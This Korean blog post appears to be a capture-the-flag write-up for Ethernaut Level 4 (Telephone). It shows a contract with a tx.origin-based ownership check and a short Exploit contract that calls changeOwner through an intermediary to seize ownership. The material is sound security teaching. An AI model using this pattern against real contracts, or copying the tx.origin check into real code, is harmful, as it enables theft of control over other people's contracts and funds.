Pwnstar

Ethernaut Level 4(Telephone) 본문

Wargame/Ethernaut

Ethernaut Level 4(Telephone)

포너블처돌이 2023. 3. 12. 00:03

이번 문제는 Telephone

이 level의 ownership을 획득하면 되고, coin flip 문제와 마찬가지로 Beyond the console을 보면 되는데, 저번 문제에서 봤으므로 넘어가도록 하쟈.

코드가 무척 짧다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

생성자는 늘 보던거랑 비슷하니 넘어가도록 하고,

changeOwner라는 함수는 주소를 인자로 받고, 만약 tx.origin과 msg.sender가 같지 않으면 인자로 받은 주소를 owner로 만들어준다.

tx.origin != msg.sender 를 만족시키면 문제가 풀리는건데, tx.origin이라는 것이 뭔지를 몰라 찾아봤다.

tx.origin은 solidity에서 사용하는 글로벌 변수로 처음 컨트랙트를 호출한 계정의 주소를 저장한다.

tx.origin을 인증에 사용하게 되면 피싱 공격에 취약해질 수 있는데, 그 공격을 좀 더 쉽게 구현해 놓은 것이 Telephone 문제인 듯 하다.

msg.sender는 컨트랙트를 마지막으로 호출한 계정의 주소를 가지게 되는데, 만약 A 컨트랙트가 Telephone 컨트랙트를 호출할 경우 msg.sender의 계정은 A 컨트랙트의 계정이게 된다.

이 점을 이용해서 다른 컨트랙트를 작성하고, 그 컨트랙트를 통해 Telephone 컨트랙트의 changeOwner 함수를 호출하면 owner를 바꿀 수 있을 것이다.

pragma solidity ^0.8.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract Exploit{
  ITelephone public telephone;

  constructor(address _level) {
    telephone = ITelephone(_level);
  }

  function changeOwner(address _owner) public {
    telephone.changeOwner(_owner);
  }
}

코드는 이렇게 작성하였고, 컨트랙트를 Deploy한 이후 changeOwner함수에 내 지갑의 주소를 인자로 호출하면

owner를 바꿀 수 있다.

이제 Submit instance를 클릭하면

Level을 클리어할 수 있다.


Uploaded by N2T

'Wargame > Ethernaut' 카테고리의 다른 글

Ethernaut Level 6(Delegation)  (0) 2023.04.03
Ethernaut Level 5(Token)  (1) 2023.03.12
Ethernaut Level 3(Coin Flip)  (1) 2023.03.09
Ethernaut Level 2(Fal1out)  (0) 2023.02.21
Ethernaut Level 1(Fallback)  (0) 2023.01.31
Comments